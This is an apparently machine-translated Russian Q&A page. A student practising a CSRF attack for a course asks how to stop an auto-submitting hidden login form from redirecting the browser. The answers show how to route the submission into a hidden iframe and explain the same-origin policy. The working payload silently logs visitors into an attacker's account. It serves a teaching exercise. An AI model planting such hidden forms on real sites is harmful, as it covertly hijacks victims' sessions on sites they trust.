2015-11-20 3 views
1

Я тренирую атаку CSRF для своего курса, и я должен атаковать фиктивный сайт, создав «поддельную» страницу. У меня есть следующий кодотправка формы через javascript без перенаправления

csrf.html

<!DOCTYPE html> 
<head>CSRF_ATTACK_PT1</head> 
<body> 
    <form name ='csrf_form' action='http://course_website/login' method="POST"> 
     <input type='hidden' name='username' value='attacker_id'> 
     <input type='hidden' name='password' value='attacker_pw'> 
    </form> 
    <script> 
     document.csrf_form.submit(); 
    </script> 
</body> 

Код выше работает отлично, за исключением того, что каждый раз, когда я открываю csrf.html будет также открыть course_website страницу. Я просто хочу, чтобы он остался на csrf.html, а не перенаправлять/открывать новую вкладку.

Просмотрев SO (я не знаю много JS ..), я попытался

<script> 
     document.csrf_form.submit(function(){ 
      return false; 
     }); 
</script> 

и добавление onsubmit = return false; к самой форме, но и не работает.

Что для вас лучше всего?

PS: не уверен, что это что-то меняет, но я использовал action как противостоящий target в моей форме, потому что один работает, а другой нет. Что-нибудь, за что я должен следить?

ответ

0

E.g. вышеуказанного ответа в вашем коде

<!DOCTYPE html> 
<head>CSRF_ATTACK_PT1</head> 
<body> 
    <form name ='csrf_form' target='hiddenFrame' action='http://course_website/login' method="POST"> 
     <input type='hidden' name='username' value='attacker_id'> 
     <input type='hidden' name='password' value='attacker_pw'> 
    </form> 
    <iframe name='hiddenFrame' style='display:none'></iframe> 
    <script> 
     document.csrf_form.submit(); 
    </script> 
</body> 
3

, но я использовал действие, как противостоять цели в моей форме, потому что один работает, а другой не

target и action делать совершенно разные вещи.

  • action указывает URL-адрес для отправки запроса.
  • target определяет рамку, чтобы открыть ответ на эту просьбу в

Если вы не хотите, чтобы оставить текущую страницу, то вам необходимо указать target как кадр или новое окно. Опущение было вызвано загрузкой новой страницы в текущее окно и заменой документа, содержащего форму.


Если это также возможно (своего рода) представлять формы, не покидая страницы путем отмены отправки формы, а затем имитируя его с JavaScript (обычно через XMLHttpRequest объекта) вместо этого. Атака CSRF будет проходить с перекрестным происхождением, так что такой подход, скорее всего, не удастся из-за одной и той же политики происхождения).

Смежные вопросы